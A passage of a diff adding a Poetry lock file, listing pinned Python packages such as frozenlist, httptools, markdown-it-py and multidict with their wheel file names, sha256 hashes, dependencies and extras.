+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "fastapi_class-2.0.0-py3-none-any.whl", hash = "sha256:79c3349bc134a3c8ef54b8eec41265cb78ed3dc300e49550c3c02c8886737090"},
+ {file = "fastapi_class-2.0.0.tar.gz", hash = "sha256:39af59d0529eaa2694793806c3c29ea9ec79134540b17b8df5f50a6602b4991d"},
+]
+
+[package.dependencies]
+fastapi = ">=0.65.2,<0.90.0"
+pydantic = ">=1.6.2,<1.7 || >1.7,<1.7.1 || >1.7.1,<1.7.2 || >1.7.2,<1.7.3 || >1.7.3,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0"
+
+[package.extras]
+lint = ["mypy (==0.991)", "pre-commit (==2.21.0)"]
+test = ["codecov (==2.1.12)", "httpx", "pytest (==7.2.0)", "pytest-asyncio (==0.20.3)", "pytest-cov (==4.0.0)", "requests (==2.28.1)"]
+
+[[package]]
+name = "frozenlist"
+version = "1.3.3"
+description = "A list-like structure which implements collections.abc.MutableSequence"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "frozenlist-1.3.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ff8bf625fe85e119553b5383ba0fb6aa3d0ec2ae980295aaefa552374926b3f4"},
+ {file = "frozenlist-1.3.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:dfbac4c2dfcc082fcf8d942d1e49b6aa0766c19d3358bd86e2000bf0fa4a9cf0"},
+ {file = "frozenlist-1.3.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b1c63e8d377d039ac769cd0926558bb7068a1f7abb0f003e3717ee003ad85530"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7fdfc24dcfce5b48109867c13b4cb15e4660e7bd7661741a391f821f23dfdca7"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c926450857408e42f0bbc295e84395722ce74bae69a3b2aa2a65fe22cb14b99"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1841e200fdafc3d51f974d9d377c079a0694a8f06de2e67b48150328d66d5483"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f470c92737afa7d4c3aacc001e335062d582053d4dbe73cda126f2d7031068dd"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:783263a4eaad7c49983fe4b2e7b53fa9770c136c270d2d4bbb6d2192bf4d9caf"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:924620eef691990dfb56dc4709f280f40baee568c794b5c1885800c3ecc69816"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ae4dc05c465a08a866b7a1baf360747078b362e6a6dbeb0c57f234db0ef88ae0"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:bed331fe18f58d844d39ceb398b77d6ac0b010d571cba8267c2e7165806b00ce"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:02c9ac843e3390826a265e331105efeab489ffaf4dd86384595ee8ce6d35ae7f"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9545a33965d0d377b0bc823dcabf26980e77f1b6a7caa368a365a9497fb09420"},
+ {file = "frozenlist-1.3.3-cp310-cp310-win32.whl", hash = "sha256:d5cd3ab21acbdb414bb6c31958d7b06b85eeb40f66463c264a9b343a4e238642"},
+ {file = "frozenlist-1.3.3-cp310-cp310-win_amd64.whl", hash = "sha256:b756072364347cb6aa5b60f9bc18e94b2f79632de3b0190253ad770c5df17db1"},
+ {file = "frozenlist-1.3.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:b4395e2f8d83fbe0c627b2b696acce67868793d7d9750e90e39592b3626691b7"},
+ {file = "frozenlist-1.3.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:14143ae966a6229350021384870458e4777d1eae4c28d1a7aa47f24d030e6678"},
+ {file = "frozenlist-1.3.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5d8860749e813a6f65bad8285a0520607c9500caa23fea6ee407e63debcdbef6"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:23d16d9f477bb55b6154654e0e74557040575d9d19fe78a161bd33d7d76808e8"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:eb82dbba47a8318e75f679690190c10a5e1f447fbf9df41cbc4c3afd726d88cb"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9309869032abb23d196cb4e4db574232abe8b8be1339026f489eeb34a4acfd91"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a97b4fe50b5890d36300820abd305694cb865ddb7885049587a5678215782a6b"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c188512b43542b1e91cadc3c6c915a82a5eb95929134faf7fd109f14f9892ce4"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:303e04d422e9b911a09ad499b0368dc551e8c3cd15293c99160c7f1f07b59a48"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:0771aed7f596c7d73444c847a1c16288937ef988dc04fb9f7be4b2aa91db609d"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:66080ec69883597e4d026f2f71a231a1ee9887835902dbe6b6467d5a89216cf6"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:41fe21dc74ad3a779c3d73a2786bdf622ea81234bdd4faf90b8b03cad0c2c0b4"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f20380df709d91525e4bee04746ba612a4df0972c1b8f8e1e8af997e678c7b81"},
+ {file = "frozenlist-1.3.3-cp311-cp311-win32.whl", hash = "sha256:f30f1928162e189091cf4d9da2eac617bfe78ef907a761614ff577ef4edfb3c8"},
+ {file = "frozenlist-1.3.3-cp311-cp311-win_amd64.whl", hash = "sha256:a6394d7dadd3cfe3f4b3b186e54d5d8504d44f2d58dcc89d693698e8b7132b32"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:8df3de3a9ab8325f94f646609a66cbeeede263910c5c0de0101079ad541af332"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0693c609e9742c66ba4870bcee1ad5ff35462d5ffec18710b4ac89337ff16e27"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cd4210baef299717db0a600d7a3cac81d46ef0e007f88c9335db79f8979c0d3d"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:394c9c242113bfb4b9aa36e2b80a05ffa163a30691c7b5a29eba82e937895d5e"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6327eb8e419f7d9c38f333cde41b9ae348bec26d840927332f17e887a8dcb70d"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2e24900aa13212e75e5b366cb9065e78bbf3893d4baab6052d1aca10d46d944c"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:3843f84a6c465a36559161e6c59dce2f2ac10943040c2fd021cfb70d58c4ad56"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:84610c1502b2461255b4c9b7d5e9c48052601a8957cd0aea6ec7a7a1e1fb9420"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:c21b9aa40e08e4f63a2f92ff3748e6b6c84d717d033c7b3438dd3123ee18f70e"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:efce6ae830831ab6a22b9b4091d411698145cb9b8fc869e1397ccf4b4b6455cb"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:40de71985e9042ca00b7953c4f41eabc3dc514a2d1ff534027f091bc74416401"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-win32.whl", hash = "sha256:180c00c66bde6146a860cbb81b54ee0df350d2daf13ca85b275123bbf85de18a"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-win_amd64.whl", hash = "sha256:9bbbcedd75acdfecf2159663b87f1bb5cfc80e7cd99f7ddd9d66eb98b14a8411"},
+ {file = "frozenlist-1.3.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:034a5c08d36649591be1cbb10e09da9f531034acfe29275fc5454a3b101ce41a"},
+ {file = "frozenlist-1.3.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:ba64dc2b3b7b158c6660d49cdb1d872d1d0bf4e42043ad8d5006099479a194e5"},
+ {file = "frozenlist-1.3.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:47df36a9fe24054b950bbc2db630d508cca3aa27ed0566c0baf661225e52c18e"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:008a054b75d77c995ea26629ab3a0c0d7281341f2fa7e1e85fa6153ae29ae99c"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:841ea19b43d438a80b4de62ac6ab21cfe6827bb8a9dc62b896acc88eaf9cecba"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e235688f42b36be2b6b06fc37ac2126a73b75fb8d6bc66dd632aa35286238703"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca713d4af15bae6e5d79b15c10c8522859a9a89d3b361a50b817c98c2fb402a2"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ac5995f2b408017b0be26d4a1d7c61bce106ff3d9e3324374d66b5964325448"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:a4ae8135b11652b08a8baf07631d3ebfe65a4c87909dbef5fa0cdde440444ee4"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4ea42116ceb6bb16dbb7d526e242cb6747b08b7710d9782aa3d6732bd8d27649"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:810860bb4bdce7557bc0febb84bbd88198b9dbc2022d8eebe5b3590b2ad6c842"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:ee78feb9d293c323b59a6f2dd441b63339a30edf35abcb51187d2fc26e696d13"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:0af2e7c87d35b38732e810befb9d797a99279cbb85374d42ea61c1e9d23094b3"},
+ {file = "frozenlist-1.3.3-cp38-cp38-win32.whl", hash = "sha256:899c5e1928eec13fd6f6d8dc51be23f0d09c5281e40d9cf4273d188d9feeaf9b"},
+ {file = "frozenlist-1.3.3-cp38-cp38-win_amd64.whl", hash = "sha256:7f44e24fa70f6fbc74aeec3e971f60a14dde85da364aa87f15d1be94ae75aeef"},
+ {file = "frozenlist-1.3.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2b07ae0c1edaa0a36339ec6cce700f51b14a3fc6545fdd32930d2c83917332cf"},
+ {file = "frozenlist-1.3.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ebb86518203e12e96af765ee89034a1dbb0c3c65052d1b0c19bbbd6af8a145e1"},
+ {file = "frozenlist-1.3.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:5cf820485f1b4c91e0417ea0afd41ce5cf5965011b3c22c400f6d144296ccbc0"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c11e43016b9024240212d2a65043b70ed8dfd3b52678a1271972702d990ac6d"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8fa3c6e3305aa1146b59a09b32b2e04074945ffcfb2f0931836d103a2c38f936"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:352bd4c8c72d508778cf05ab491f6ef36149f4d0cb3c56b1b4302852255d05d5"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:65a5e4d3aa679610ac6e3569e865425b23b372277f89b5ef06cf2cdaf1ebf22b"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1e2c1185858d7e10ff045c496bbf90ae752c28b365fef2c09cf0fa309291669"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f163d2fd041c630fed01bc48d28c3ed4a3b003c00acd396900e11ee5316b56bb"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:05cdb16d09a0832eedf770cb7bd1fe57d8cf4eaf5aced29c4e41e3f20b30a784"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:8bae29d60768bfa8fb92244b74502b18fae55a80eac13c88eb0b496d4268fd2d"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:eedab4c310c0299961ac285591acd53dc6723a1ebd90a57207c71f6e0c2153ab"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:3bbdf44855ed8f0fbcd102ef05ec3012d6a4fd7c7562403f76ce6a52aeffb2b1"},
+ {file = "frozenlist-1.3.3-cp39-cp39-win32.whl", hash = "sha256:efa568b885bca461f7c7b9e032655c0c143d305bf01c30caf6db2854a4532b38"},
+ {file = "frozenlist-1.3.3-cp39-cp39-win_amd64.whl", hash = "sha256:cfe33efc9cb900a4c46f91a5ceba26d6df370ffddd9ca386eb1d4f0ad97b9ea9"},
+ {file = "frozenlist-1.3.3.tar.gz", hash = "sha256:58bcc55721e8a90b88332d6cd441261ebb22342e238296bb330968952fbb3a6a"},
+]
+
+[[package]]
+name = "h11"
+version = "0.14.0"
+description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "h11-0.14.0-py3-none-any.whl", hash = "sha256:e3fe4ac4b851c468cc8363d500db52c2ead036020723024a109d37346efaa761"},
+ {file = "h11-0.14.0.tar.gz", hash = "sha256:8f19fbbe99e72420ff35c00b27a34cb9937e902a8b810e2c88300c6f0a3b699d"},
+]
+
+[[package]]
+name = "httptools"
+version = "0.6.0"
+description = "A collection of framework independent HTTP protocol utils."
+optional = false
+python-versions = ">=3.5.0"
+files = [
+ {file = "httptools-0.6.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:818325afee467d483bfab1647a72054246d29f9053fd17cc4b86cda09cc60339"},
+ {file = "httptools-0.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:72205730bf1be875003692ca54a4a7c35fac77b4746008966061d9d41a61b0f5"},
+ {file = "httptools-0.6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:33eb1d4e609c835966e969a31b1dedf5ba16b38cab356c2ce4f3e33ffa94cad3"},
+ {file = "httptools-0.6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6bdc6675ec6cb79d27e0575750ac6e2b47032742e24eed011b8db73f2da9ed40"},
+ {file = "httptools-0.6.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:463c3bc5ef64b9cf091be9ac0e0556199503f6e80456b790a917774a616aff6e"},
+ {file = "httptools-0.6.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:82f228b88b0e8c6099a9c4757ce9fdbb8b45548074f8d0b1f0fc071e35655d1c"},
+ {file = "httptools-0.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:0781fedc610293a2716bc7fa142d4c85e6776bc59d617a807ff91246a95dea35"},
+ {file = "httptools-0.6.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:721e503245d591527cddd0f6fd771d156c509e831caa7a57929b55ac91ee2b51"},
+ {file = "httptools-0.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:274bf20eeb41b0956e34f6a81f84d26ed57c84dd9253f13dcb7174b27ccd8aaf"},
+ {file = "httptools-0.6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:259920bbae18740a40236807915def554132ad70af5067e562f4660b62c59b90"},
+ {file = "httptools-0.6.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:03bfd2ae8a2d532952ac54445a2fb2504c804135ed28b53fefaf03d3a93eb1fd"},
+ {file = "httptools-0.6.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:f959e4770b3fc8ee4dbc3578fd910fab9003e093f20ac8c621452c4d62e517cb"},
+ {file = "httptools-0.6.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6e22896b42b95b3237eccc42278cd72c0df6f23247d886b7ded3163452481e38"},
+ {file = "httptools-0.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:38f3cafedd6aa20ae05f81f2e616ea6f92116c8a0f8dcb79dc798df3356836e2"},
+ {file = "httptools-0.6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:47043a6e0ea753f006a9d0dd076a8f8c99bc0ecae86a0888448eb3076c43d717"},
+ {file = "httptools-0.6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:35a541579bed0270d1ac10245a3e71e5beeb1903b5fbbc8d8b4d4e728d48ff1d"},
+ {file = "httptools-0.6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:65d802e7b2538a9756df5acc062300c160907b02e15ed15ba035b02bce43e89c"},
+ {file = "httptools-0.6.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:26326e0a8fe56829f3af483200d914a7cd16d8d398d14e36888b56de30bec81a"},
+ {file = "httptools-0.6.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:e41ccac9e77cd045f3e4ee0fc62cbf3d54d7d4b375431eb855561f26ee7a9ec4"},
+ {file = "httptools-0.6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:4e748fc0d5c4a629988ef50ac1aef99dfb5e8996583a73a717fc2cac4ab89932"},
+ {file = "httptools-0.6.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:cf8169e839a0d740f3d3c9c4fa630ac1a5aaf81641a34575ca6773ed7ce041a1"},
+ {file = "httptools-0.6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:5dcc14c090ab57b35908d4a4585ec5c0715439df07be2913405991dbb37e049d"},
+ {file = "httptools-0.6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0d0b0571806a5168013b8c3d180d9f9d6997365a4212cb18ea20df18b938aa0b"},
+ {file = "httptools-0.6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0fb4a608c631f7dcbdf986f40af7a030521a10ba6bc3d36b28c1dc9e9035a3c0"},
+ {file = "httptools-0.6.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:93f89975465133619aea8b1952bc6fa0e6bad22a447c6d982fc338fbb4c89649"},
+ {file = "httptools-0.6.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:73e9d66a5a28b2d5d9fbd9e197a31edd02be310186db423b28e6052472dc8201"},
+ {file = "httptools-0.6.0-cp38-cp38-win_amd64.whl", hash = "sha256:22c01fcd53648162730a71c42842f73b50f989daae36534c818b3f5050b54589"},
+ {file = "httptools-0.6.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:3f96d2a351b5625a9fd9133c95744e8ca06f7a4f8f0b8231e4bbaae2c485046a"},
+ {file = "httptools-0.6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:72ec7c70bd9f95ef1083d14a755f321d181f046ca685b6358676737a5fecd26a"},
+ {file = "httptools-0.6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b703d15dbe082cc23266bf5d9448e764c7cb3fcfe7cb358d79d3fd8248673ef9"},
+ {file = "httptools-0.6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:82c723ed5982f8ead00f8e7605c53e55ffe47c47465d878305ebe0082b6a1755"},
+ {file = "httptools-0.6.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b0a816bb425c116a160fbc6f34cece097fd22ece15059d68932af686520966bd"},
+ {file = "httptools-0.6.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:dea66d94e5a3f68c5e9d86e0894653b87d952e624845e0b0e3ad1c733c6cc75d"},
+ {file = "httptools-0.6.0-cp39-cp39-win_amd64.whl", hash = "sha256:23b09537086a5a611fad5696fc8963d67c7e7f98cb329d38ee114d588b0b74cd"},
+ {file = "httptools-0.6.0.tar.gz", hash = "sha256:9fc6e409ad38cbd68b177cd5158fc4042c796b82ca88d99ec78f07bed6c6b796"},
+]
+
+[package.extras]
+test = ["Cython (>=0.29.24,<0.30.0)"]
+
+[[package]]
+name = "idna"
+version = "3.4"
+description = "Internationalized Domain Names in Applications (IDNA)"
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "idna-3.4-py3-none-any.whl", hash = "sha256:90b77e79eaa3eba6de819a0c442c0b4ceefc341a7a2ab77d7562bf49f425c5c2"},
+ {file = "idna-3.4.tar.gz", hash = "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4"},
+]
+
+[[package]]
+name = "jmespath"
+version = "1.0.1"
+description = "JSON Matching Expressions"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "jmespath-1.0.1-py3-none-any.whl", hash = "sha256:02e2e4cc71b5bcab88332eebf907519190dd9e6e82107fa7f83b1003a6252980"},
+ {file = "jmespath-1.0.1.tar.gz", hash = "sha256:90261b206d6defd58fdd5e85f478bf633a2901798906be2ad389150c5c60edbe"},
+]
+
+[[package]]
+name = "markdown-it-py"
+version = "3.0.0"
+description = "Python port of markdown-it. Markdown parsing, done right!"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "markdown-it-py-3.0.0.tar.gz", hash = "sha256:e3f60a94fa066dc52ec76661e37c851cb232d92f9886b15cb560aaada2df8feb"},
+ {file = "markdown_it_py-3.0.0-py3-none-any.whl", hash = "sha256:355216845c60bd96232cd8d8c40e8f9765cc86f46880e43a8fd22dc1a1a8cab1"},
+]
+
+[package.dependencies]
+mdurl = ">=0.1,<1.0"
+
+[package.extras]
+benchmarking = ["psutil", "pytest", "pytest-benchmark"]
+code-style = ["pre-commit (>=3.0,<4.0)"]
+compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "mistletoe (>=1.0,<2.0)", "mistune (>=2.0,<3.0)", "panflute (>=2.3,<3.0)"]
+linkify = ["linkify-it-py (>=1,<3)"]
+plugins = ["mdit-py-plugins"]
+profiling = ["gprof2dot"]
+rtd = ["jupyter_sphinx", "mdit-py-plugins", "myst-parser", "pyyaml", "sphinx", "sphinx-copybutton", "sphinx-design", "sphinx_book_theme"]
+testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"]
+
+[[package]]
+name = "mdurl"
+version = "0.1.2"
+description = "Markdown URL utilities"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"},
+ {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"},
+]
+
+[[package]]
+name = "miniopy-async"
+version = "1.15"
+description = "Asynchronous MinIO Python Client API"
+optional = false
+python-versions = ">3.6"
+files = [
+ {file = "miniopy-async-1.15.tar.gz", hash = "sha256:f2ee438373eb2c60bda6363ffbc28ca27f4d871089ea65a02e09896864f3d72f"},
+ {file = "miniopy_async-1.15-py3-none-any.whl", hash = "sha256:9872e9168f45d9f4b828e7764163949f71d68f4f0cba2c22bc31f9856d1ed17e"},
+]
+
+[package.dependencies]
+aiofile = "*"
+aiohttp = "*"
+certifi = "*"
+urllib3 = "*"
+
+[[package]]
+name = "more-itertools"
+version = "9.1.0"
+description = "More routines for operating on iterables, beyond itertools"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "more-itertools-9.1.0.tar.gz", hash = "sha256:cabaa341ad0389ea83c17a94566a53ae4c9d07349861ecb14dc6d0345cf9ac5d"},
+ {file = "more_itertools-9.1.0-py3-none-any.whl", hash = "sha256:d2bc7f02446e86a68911e58ded76d6561eea00cddfb2a91e7019bbb586c799f3"},
+]
+
+[[package]]
+name = "multidict"
+version = "6.0.4"
+description = "multidict implementation"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "multidict-6.0.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b1a97283e0c85772d613878028fec909f003993e1007eafa715b24b377cb9b8"},
+ {file = "multidict-6.0.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:eeb6dcc05e911516ae3d1f207d4b0520d07f54484c49dfc294d6e7d63b734171"},
+ {file = "multidict-6.0.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d6d635d5209b82a3492508cf5b365f3446afb65ae7ebd755e70e18f287b0adf7"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c048099e4c9e9d615545e2001d3d8a4380bd403e1a0578734e0d31703d1b0c0b"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ea20853c6dbbb53ed34cb4d080382169b6f4554d394015f1bef35e881bf83547"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:16d232d4e5396c2efbbf4f6d4df89bfa905eb0d4dc5b3549d872ab898451f569"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:36c63aaa167f6c6b04ef2c85704e93af16c11d20de1d133e39de6a0e84582a93"},
+ {file = "multidict-6.0.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:64bdf1086b6043bf519869678f5f2757f473dee970d7abf6da91ec00acb9cb98"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:43644e38f42e3af682690876cff722d301ac585c5b9e1eacc013b7a3f7b696a0"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:7582a1d1030e15422262de9f58711774e02fa80df0d1578995c76214f6954988"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:ddff9c4e225a63a5afab9dd15590432c22e8057e1a9a13d28ed128ecf047bbdc"},
+ {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:ee2a1ece51b9b9e7752e742cfb661d2a29e7bcdba2d27e66e28a99f1890e4fa0"},
